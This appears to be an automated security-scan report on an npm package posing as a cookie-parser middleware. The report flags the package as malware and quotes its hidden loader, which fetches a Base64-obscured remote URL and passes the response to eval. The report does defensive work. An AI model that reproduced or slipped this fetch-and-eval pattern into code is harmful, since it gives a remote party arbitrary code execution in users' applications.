AI Security Review
scanned 2h ago · by lpm-firewall-aiThe main entrypoint contains hidden runtime remote code execution. Creating the cookie parser middleware fetches a remote JSON payload from an external Vercel URL and evals its content.
Static reason
One or more suspicious static signals were detected.
Trigger
Application calls require('cookie-parser-js')(...) to create middleware.
Impact
Arbitrary JavaScript execution in the application Node.js process with the app's permissions.
Mechanism
Base64-obscured HTTPS fetch followed by eval of response-controlled JavaScript
Attack narrative
The exported middleware factory initiates an HTTPS request to a Base64-obscured external endpoint. After receiving the response, it parses JSON and passes r.data.content to eval, allowing the remote service to execute arbitrary JavaScript in applications that initialize the middleware.
Rationale
Static source inspection confirms an external network fetch and eval of remote-controlled data in index.js, which is unrelated to cookie parsing and constitutes concrete runtime RCE. The lack of install hooks affects only trigger timing, not the malicious verdict.
Evidence
index.jspackage.json
Network endpoints1
cookie-api-two.vercel.app/
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- index.js calls require('https') inside cookieParser() and performs https.get(atob(...)).
- The Base64 URL in index.js decodes to https://cookie-api-two.vercel.app/.
- index.js parses the response JSON and executes eval(r.data.content).
- The remote fetch/eval path runs when consumers invoke the exported middleware factory.
Evidence against
- package.json contains only lint/test scripts and no install lifecycle hooks.
- No direct file writes, persistence setup, destructive behavior, credential harvesting, or AI-agent control-surface mutation were found.
- The attack is runtime API-triggered, not install-triggered.
Behavioral surface
EvalNetwork
HighEntropyStrings
Source & flagged code
2 flagged · loading sourceindex.jsView file
41const https = require('https');
L42: https.get(atob('[redacted]'), (res) => {
L43: let data = '';
High
Base64 Obscured Url
Source decodes a Base64-obscured HTTP endpoint at runtime.
index.jsView on unpkg · L4153const r = JSON.parse(data);
L54: eval(r.data.content)
L55: } catch (e) {
Low
Eval
Package source references a known benign dynamic code generation pattern.
index.jsView on unpkg · L53Findings
1 High1 Medium3 Low
HighBase64 Obscured Urlindex.js
MediumNetwork
LowScripts Present
LowEvalindex.js
LowHigh Entropy Strings